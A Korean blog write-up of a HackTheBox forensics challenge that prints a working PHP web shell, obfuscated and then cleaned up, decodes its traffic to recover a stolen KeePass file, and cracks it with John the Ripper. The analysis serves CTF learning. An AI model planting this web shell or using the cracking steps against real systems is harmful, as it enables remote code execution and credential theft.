HackTheBox에서 제공하는
HARD 난이도의 포렌식 문제
HARD 로 분류되어있긴 하나
다른 HARD 난이도 문제들에 비해선 쉬운편이다.
문제파일은 다운로드 받으면
패킷캡쳐파일과 support.php 가 들어있다.
패킷캡쳐 파일에는 웹 서버와 통신한 내용이 들이있다.
URI가 support.php 인 통신이 있는걸로 보아
이 support.php 가 문제 파일로 제공된 파일과 같은 내용인듯 하다.
<?php
$V='$k="80e32263";$kh="6f8af44abea0";$kf="351039f4a7b5";$p="0UlYyJHG87EJqEz6";function x($';
$P='++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents(';
$d='t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i';
$B='ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';
$N=str_replace('FD','','create_function');
$c='"php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@';
$u=str_replace('','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>
support.php 에는 난독화된 내용이 들이었다.
그런데 자세히 보면 그렇게 어렵게 난독화되어있지 않다.
마지막에 str_replace 하는게 고작이기 때문에
수작업으로도 깔끔하게 고칠 수 있다.
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
위 코드를 보기좋게
줄 띄어쓰기 + 들여쓰기 한 모습이다.
마지막에 print 하는것을 보면
최종적으로 결과를 $r 에 저장하는데,
$p, $kh, $kf 와 같은 쓸데없는 값들을 앞뒤로 붙혀서
복잡해보이게 만들었다.
$r은 $o를 zlib 데이터로 만든 뒤,
$k 와 xor 시키고, Base64 인코딩한 값이다.
Wireshark 에서 아까봤던
support.php 파일을
우클릭 - Follow - HTTP Stream 을 해서 보면
응답 패킷(파란색) 부분에 base64 인코딩된 값이 적혀있는것을 볼 수 있다.
여기서 앞에있는 0UlYyJHG87EJqEz66f8af44abea0와
뒤에있는 351039f4a7b5가 아까봤던 $p, $kh, $kf 들이니 잘라내버리면 된다.
잘라내면 이런 데이터가 남는데
해당 데이터를 CyberChef(https://gchq.github.io/CyberChef/) 에서
Base64로 디코딩 해주고
$k 와 xor 한 뒤
zlib inflate 해주면
Output에서 디코딩된 원문을 볼 수 있다.
뭔가 ls -al 명령어 수행결과같은게 보인다.
아마 웹쉘을 이용해 원격 명령어를 실행시키고, 그 결과를 받은것 같다.
와이어샤크에서 패킷을 분석하다보면
위처럼 유난이 크기가 큰 패킷이 보이는데
아까와 같은 과정으로 디코딩 해보면
pwdb.kdbx 라는 파일을 가져왔다는 사실을 알 수 있다.
아래쪽 사진이 pwdb.kdbx 의 원래 hex 값이다.
저장 버튼을 누르면
pwdb.kdbx 파일을 복원할 수 있다.
kdbx 파일은 KeePass 라는 프로그램으로 열 수 있다.
그런데 pwdb.kdbx는 암호화 되어있기 때문에
비밀번호를 입력해야 한다.
비밀번호 크랙은 John the Ripper 도구를 사용하면 된다.
John the Ripper 여러가지 비밀번호를 crack 해주는 기능을 가지고 있다.
keepass2john <파일명> > hash 형태로 실행시키고
john --wordlist=<rockyou.txt 파일 경로> hash 해주면
바로 비밀번호를 찾을 수 있다.
비밀번호는 chainsaw 였다.
keepass 를 실행시키고 비밀번호를 입력해주면
이렇게 안에 있는 Flag 를 찾을 수 있다.
상세 내용을 보면 플래그를 찾을 수 있다.
'워게임 > HackTheBox' 카테고리의 다른 글
[HackTheBox] Cryptohorrific - 리버싱 / Plist pro / IDA (180) | 2023.09.17 |
---|---|
[HackTheBox] Neonify - 웹해킹 / SSTI / Ruby (117) | 2023.07.26 |
[HackTheBox] FreeLancer - 웹해킹 / SQL Injection / LFI / dirb (86) | 2023.07.14 |
[HackTheBox] Forest - 포렌식 / Stegsolve / Steghide / Vigenere (66) | 2023.04.25 |
[HackTheBox] Impossible Password - 리버싱 / IDA (61) | 2023.04.18 |